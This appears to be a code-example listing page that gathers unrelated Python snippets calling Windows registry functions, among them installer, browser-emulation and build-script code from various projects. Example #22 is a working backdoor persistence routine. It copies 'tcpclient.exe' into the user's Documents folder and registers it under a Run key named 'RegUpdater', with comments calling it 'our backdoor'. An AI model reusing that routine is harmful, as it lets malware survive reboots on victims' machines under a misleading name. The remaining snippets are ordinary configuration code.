			if latest_version: settings.setSetting('sopcast_version',value=latest_version)
			return
		else:
			mensagemok(translate(30000),translate(30100))
			return
				
	elif xbmc.getCondVisibility('System.Platform.Android'):

		print("Detected OS: Android")
		#Sopcast configuration
		print("Starting SopCast Configuration")

		#Moving sopclient to ext4 hack - tks steeve from xbmctorrent

		sopclient_builtin_location = os.path.join(addonpath,"resources","binaries","sopclient")

		#Hack to get current xbmc app id
		xbmcfolder=xbmc.translatePath(addonpath).split("/")

		found = False
		if settings.getSetting('auto_appid') == 'true':
			i = 0
			sopcast_installed = False
			for folder in xbmcfolder:
				if folder.count('.') >= 2 and folder != addon_id :
					found = True
					break
				else:
					i+=1
			if found == True:
				uid = os.getuid()
				app_id = xbmcfolder[i]
		else:
			if settings.getSetting('custom_appid') != '':
				uid = os.getuid()
				app_id = settings.getSetting('custom_appid')
				found = True

		if found == True:
			xbmc_data_path = os.path.join("/data", "data", app_id)
			
			
			if os.path.exists(xbmc_data_path) and uid == os.stat(xbmc_data_path).st_uid:
				android_binary_dir = os.path.join(xbmc_data_path, "files", "program.plexus")
				if not os.path.exists(android_binary_dir):
            				os.makedirs(android_binary_dir)
				android_binary_path = os.path.join(android_binary_dir, "sopclient")
		        	if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(sopclient_builtin_location):
					shutil.copy2(sopclient_builtin_location, android_binary_path)
				binary_path = android_binary_path
				st = os.stat(binary_path)
				import stat
				os.chmod(binary_path, st.st_mode | stat.S_IEXEC)
				settings.setSetting('android_sopclient',value=binary_path)
				opcao= xbmcgui.Dialog().yesno(translate(30000), translate(30101),translate(30103))
				if not opcao:
					settings.setSetting('external-sopcast',value='1')
					sopcast_installed = True
					mensagemok(translate(30000),translate(30099))
				else:
					mensagemok(translate(30000),translate(30104))
					if os.path.exists(os.path.join("sdcard","Download")):
						pasta = os.path.join("sdcard","Download")
						sopfile = os.path.join("sdcard","Download",sopcast_apk.split("/")[-1])
					else:
						dialog = xbmcgui.Dialog()
						pasta = dialog.browse(int(0), translate(30105), 'videos')
						sopfile = os.path.join(pasta,sopcast_apk.split("/")[-1])
					download_tools().Downloader(sopcast_apk,sopfile,translate(30106),translate(30000))
					if tarfile.is_tarfile(sopfile):
						download_tools().extract(sopfile,pasta)
						download_tools().remove(sopfile)
					mensagemok(translate(30000),translate(30107),pasta,translate(30108))
					sopcast_installed = True
					settings.setSetting('external-sopcast',value='0')
					mensagemok(translate(30000),translate(30099))
				if latest_version: settings.setSetting('sopcast_version',value=latest_version)
				return

		else:
			mensagemok(translate(30000),translate(30109))
			return
예제 #21
0
파일: winreg.py 프로젝트: moepnse/pi
 def set_data(self, data):
     self._data = data
     winreg.SetValueEx(self._key_handle, r"%s\%s" % (self._sub_key, self._name ), self._type, self._data)
예제 #22
0
Null, userprof = subprocess.check_output('set USERPROFILE',
                                         shell=True).split('=')
#Get USERP ROFILE which contains the username of the profile and store it in userprof variable , we use the output to build our destination path
#Other way to discover the userprofile is via  os.getenv('userprofile') , both will give the same result
destination = userprof.strip('\n\r') + '\\Documents\\' + 'tcpclient.exe'

# First and Second Phases

if not os.path.exists(
        destination
):  # this if statement will be False next time we run the script becoz our tcpclient.exe will be already copied in destination

    #First time our backdoor gets executed
    #Copy our Backdoor to C:\Users\<UserName>\Documents\
    #shutil.copyfile(path+'\tcpclient.exe', destination)
    shutil.copyfile(path + "\\tcpclient.exe", destination)

    key = wreg.OpenKey(wreg.HKEY_CURRENT_USER,
                       "Software\Microsoft\Windows\CurrentVersion\Run", 0,
                       wreg.KEY_ALL_ACCESS)

    destination2 = userprof.strip('\n\r') + '\\Documents\\' + "tcpclient.exe"
    wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ, destination2)
    #wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ,destination)
    key.Close()
    #create a new registry string called RegUpdater pointing to our
    #new backdoor path (destination)

#If the script worked fine, out tcpclient.exe should be copied to C:\Users\<UserName>\Documents\ and a new registry key called 'RegUpdater' should be created
#and pointing to C:\Users\<UserName>\Documents\tcpclient.exe
예제 #23
0
파일: winreg.py 프로젝트: moepnse/pi
 def set_value(self, value_name, value_type, value_data):
     winreg.SetValueEx(self._key_handle, value_name, 0, value_type, value_data)
예제 #24
0
def _set_ie_mode():
    """
    By default hosted IE control emulates IE7 regardless which version of IE is installed. To fix this, a proper value
    must be set for the executable.
    See http://msdn.microsoft.com/en-us/library/ee330730%28v=vs.85%29.aspx#browser_emulation for details on this
    behaviour.
    """

    try:
        import _winreg as winreg  # Python 2
    except ImportError:
        import winreg  # Python 3

    def get_ie_mode():
        """
        Get the installed version of IE
        :return:
        """
        ie_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                                r"Software\Microsoft\Internet Explorer")
        try:
            version, type = winreg.QueryValueEx(ie_key, "svcVersion")
        except:
            version, type = winreg.QueryValueEx(ie_key, "Version")

        winreg.CloseKey(ie_key)

        if version.startswith("11"):
            value = 0x2AF9
        elif version.startswith("10"):
            value = 0x2711
        elif version.startswith("9"):
            value = 0x270F
        elif version.startswith("8"):
            value = 0x22B8
        else:
            value = 0x2AF9  # Set IE11 as default

        return value

    try:
        browser_emulation = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION",
            0, winreg.KEY_ALL_ACCESS)
    except WindowsError:
        browser_emulation = winreg.CreateKeyEx(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION",
            0, winreg.KEY_ALL_ACCESS)

    try:
        dpi_support = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_96DPI_PIXEL",
            0, winreg.KEY_ALL_ACCESS)
    except WindowsError:
        dpi_support = winreg.CreateKeyEx(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_96DPI_PIXEL",
            0, winreg.KEY_ALL_ACCESS)

    mode = get_ie_mode()
    executable_name = sys.executable.split("\\")[-1]
    winreg.SetValueEx(browser_emulation, executable_name, 0, winreg.REG_DWORD,
                      mode)
    winreg.CloseKey(browser_emulation)

    winreg.SetValueEx(dpi_support, executable_name, 0, winreg.REG_DWORD, 1)
    winreg.CloseKey(dpi_support)
예제 #25
0
#To define a particular parameter, replace the 'parameterName' inside itsm.getParameter('parameterName') with that parameter's name
import _winreg
Key = r"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"  ## Here give the registry Key path. STRING
Sub_Key = "NoAutoRebootWithLoggedOnUsers"  ## Here give the sub Key of the registry. STRING
Field = _winreg.REG_DWORD  ##Here give the field of it
value = 1  ##Mention the value

import os
from _winreg import *
try:
    Key = r"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
    if not os.path.exists(Key):
        key = _winreg.CreateKey(HKEY_LOCAL_MACHINE, Key)
    Registrykey = OpenKey(HKEY_LOCAL_MACHINE, Key, 0, KEY_WRITE)
    _winreg.SetValueEx(Registrykey, Sub_Key, 0, Field, value)
    CloseKey(Registrykey)
    print "Successfully created"
except WindowsError:
    print "Error"
예제 #26
0
def registerInstallation(installDir, startMenuFolder,
                         shouldCreateDesktopShortcut, startOnLogonScreen):
    import _winreg
    with _winreg.CreateKeyEx(
            _winreg.HKEY_LOCAL_MACHINE,
            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\NVDA", 0,
            _winreg.KEY_WRITE) as k:
        for name, value in uninstallerRegInfo.iteritems():
            _winreg.SetValueEx(k, name, None, _winreg.REG_SZ,
                               value.format(installDir=installDir))
    with _winreg.CreateKeyEx(
            _winreg.HKEY_LOCAL_MACHINE,
            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\nvda.exe",
            0, _winreg.KEY_WRITE) as k:
        _winreg.SetValueEx(k, "", None, _winreg.REG_SZ,
                           os.path.join(installDir, "nvda.exe"))
    with _winreg.CreateKeyEx(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\nvda", 0,
                             _winreg.KEY_WRITE) as k:
        _winreg.SetValueEx(k, "startMenuFolder", None, _winreg.REG_SZ,
                           startMenuFolder)
    if easeOfAccess.isSupported:
        registerEaseOfAccess(installDir)
    else:
        import nvda_service
        nvda_service.installService(installDir)
        nvda_service.startService()
    if startOnLogonScreen is not None:
        config._setStartOnLogonScreen(startOnLogonScreen)
    NVDAExe = os.path.join(installDir, u"nvda.exe")
    slaveExe = os.path.join(installDir, u"nvda_slave.exe")
    if shouldCreateDesktopShortcut:
        # Translators: The shortcut key used to start NVDA.
        # This should normally be left as is, but might be changed for some locales
        # if the default key causes problems for the normal locale keyboard layout.
        # The key must be formatted as described in this article:
        # http://msdn.microsoft.com/en-us/library/3zb1shc6%28v=vs.84%29.aspx
        createShortcut(u"NVDA.lnk",
                       targetPath=slaveExe,
                       arguments="launchNVDA -r",
                       hotkey=_("CTRL+ALT+N"),
                       workingDirectory=installDir,
                       prependSpecialFolder="AllUsersDesktop")
    createShortcut(os.path.join(startMenuFolder, "NVDA.lnk"),
                   targetPath=NVDAExe,
                   workingDirectory=installDir,
                   prependSpecialFolder="AllUsersPrograms")
    # Translators: A label for a shortcut in start menu and a menu entry in NVDA menu (to go to NVDA website).
    createShortcut(os.path.join(startMenuFolder,
                                _("NVDA web site") + ".lnk"),
                   targetPath=versionInfo.url,
                   prependSpecialFolder="AllUsersPrograms")
    #nvdajp begin
    createShortcut(os.path.join(startMenuFolder,
                                _("NVDAJP web site") + ".lnk"),
                   targetPath="http://www.nvda.jp/",
                   prependSpecialFolder="AllUsersPrograms")
    #nvdajp end
    # Translators: A label for a shortcut item in start menu to uninstall NVDA from the computer.
    createShortcut(os.path.join(startMenuFolder,
                                _("Uninstall NVDA") + ".lnk"),
                   targetPath=os.path.join(installDir, "uninstall.exe"),
                   workingDirectory=installDir,
                   prependSpecialFolder="AllUsersPrograms")
    # Translators: A label for a shortcut item in start menu to open current user's NVDA configuration directory.
    createShortcut(os.path.join(
        startMenuFolder,
        _("Explore NVDA user configuration directory") + ".lnk"),
                   targetPath=slaveExe,
                   arguments="explore_userConfigPath",
                   workingDirectory=installDir,
                   prependSpecialFolder="AllUsersPrograms")
    # Translators: The label of the NVDA Documentation menu in the Start Menu.
    docFolder = os.path.join(startMenuFolder, _("Documentation"))
    # Translators: The label of the Start Menu item to open the Commands Quick Reference document.
    createShortcut(os.path.join(docFolder,
                                _("Commands Quick Reference") + ".lnk"),
                   targetPath=getDocFilePath("keyCommands.html", installDir),
                   prependSpecialFolder="AllUsersPrograms")
    # Translators: A label for a shortcut in start menu to open NVDA user guide.
    createShortcut(os.path.join(docFolder,
                                _("User Guide") + ".lnk"),
                   targetPath=getDocFilePath("userGuide.html", installDir),
                   prependSpecialFolder="AllUsersPrograms")
    #nvdajp begin
    createShortcut(os.path.join(docFolder,
                                _("&Readme (nvdajp)") + ".lnk"),
                   targetPath=getDocFilePath("readmejp.html", installDir),
                   prependSpecialFolder="AllUsersPrograms")
    #nvdajp end
    registerAddonFileAssociation(slaveExe)
예제 #27
0
#! /usr/bin/env python

# Install BitId for Windows, "SetReg" of SimpleBitID
# Copyright (C) 2014  Antoine FERRON

# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3 of the License.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>

import os
import _winreg as wreg

key = wreg.OpenKey(wreg.HKEY_CLASSES_ROOT, "", 0, wreg.KEY_WRITE)
keysub = wreg.CreateKey(key, "bitid")
wreg.SetValue(keysub, "", wreg.REG_SZ, "URL:BitID Protocol")
wreg.SetValueEx(keysub, "URL Protocol", 0, wreg.REG_SZ, "")
keysub2 = wreg.CreateKey(keysub, "shell\\open\\command")
wreg.SetValue(
    keysub2, "", wreg.REG_SZ,
    "\"" + os.getenv('ProgramFiles') + "\\SimpleBitID\\SimpleBitID.exe\" %1")
예제 #28
0
def compile_tools():
    "Compile external tool components"
    import _winreg

    # Auto Layout
    sln_file = os.path.join(GME_ROOT, "Tools", "AutoLayout", "AutoLayout.sln")
    tools.build_VS(sln_file, "Release")

    sln_file = os.path.join(GME_ROOT, "SDK", "DotNet", "DsmlGenerator",
                            "DsmlGenerator.sln")
    tools.build_VS(
        sln_file,
        "Release",
        arch='Any CPU',
        msbuild=(prefs['arch'] == 'x64'
                 and tools.MSBUILD.replace('Framework', 'Framework64')
                 or tools.MSBUILD))

    with _winreg.OpenKey(
            _winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft", 0,
            _winreg.KEY_WOW64_32KEY | _winreg.KEY_WRITE
            | _winreg.KEY_READ) as ms:
        with _winreg.CreateKey(
                ms,
                r".NETFramework\v4.0.30319\AssemblyFoldersEx\ISIS.GME.Common"
        ) as key:
            _winreg.SetValueEx(
                key, None, 0, _winreg.REG_SZ,
                os.path.join(
                    os.environ['windir'],
                    r"Microsoft.NET\assembly\GAC_MSIL\ISIS.GME.Common\v4.0_1.0.7.0__1321e6b92842fe54"
                ))

    sln_file = os.path.join(GME_ROOT, "Tools", "DumpWMF", "DumpWMF.sln")
    tools.build_VS(
        sln_file,
        "Release",
        arch='Any CPU',
        msbuild=(prefs['arch'] == 'x64'
                 and tools.MSBUILD.replace('Framework', 'Framework64')
                 or tools.MSBUILD))

    if prefs['arch'] == 'x64':
        tools.system([
            tools.VCVARS, 'amd64', '&', 'RegAsm.exe', '/codebase',
            os.path.join(GME_ROOT, 'Tools', 'DumpWMF', 'bin', 'Release',
                         'DumpWMF.dll')
        ])
        with _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT,
                             r"CLSID\{A051FEEA-E310-3F6A-8D71-A55E3F4F2E14}",
                             0, _winreg.KEY_WRITE
                             | _winreg.KEY_WOW64_64KEY) as key:
            _winreg.SetValueEx(key, "AppID", 0, _winreg.REG_SZ,
                               "{461F30AF-3BF0-11D4-B3F0-005004D38590}")

        tools.system([
            tools.VCVARS, 'amd64', '&', 'RegAsm.exe', '/codebase',
            os.path.join(GME_ROOT, 'SDK', 'DotNet', 'DsmlGenerator',
                         'CSharpDsmlGenerator', 'bin', 'Release',
                         'CSharpDSMLGenerator.dll')
        ])
        return

    # Table Editor
    sln_file = os.path.join(GME_ROOT, "Tools", "TableEditor",
                            "TableEditor.sln")
    tools.build_VS(sln_file, "Release")

    # GMEplink
    sln_file = os.path.join(GME_ROOT, "Tools", "GMEplink", "GMEplink.sln")
    tools.build_VS(sln_file, "Release")

    sln_file = os.path.join(GME_ROOT, "SDK", "DotNet", "CSharpComponentWizard",
                            "CSharpComponentWizard.sln")
    tools.build_VS(sln_file, "Release")
예제 #29
0
 def add(name, application):
     """add a new autostart entry"""
     key = get_runonce()
     _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, application)
     _winreg.CloseKey(key)
예제 #30
0
파일: osplus.py 프로젝트: dszybala/epp
def set_env(name, value):
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, 'Environment', 0, winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key, name, 0, winreg.REG_EXPAND_SZ, value)
    winreg.CloseKey(key)
    SendMessageTimeout( win32con.HWND_BROADCAST, win32con.WM_SETTINGCHANGE, 0, 'Environment', win32con.SMTO_ABORTIFHUNG, 100)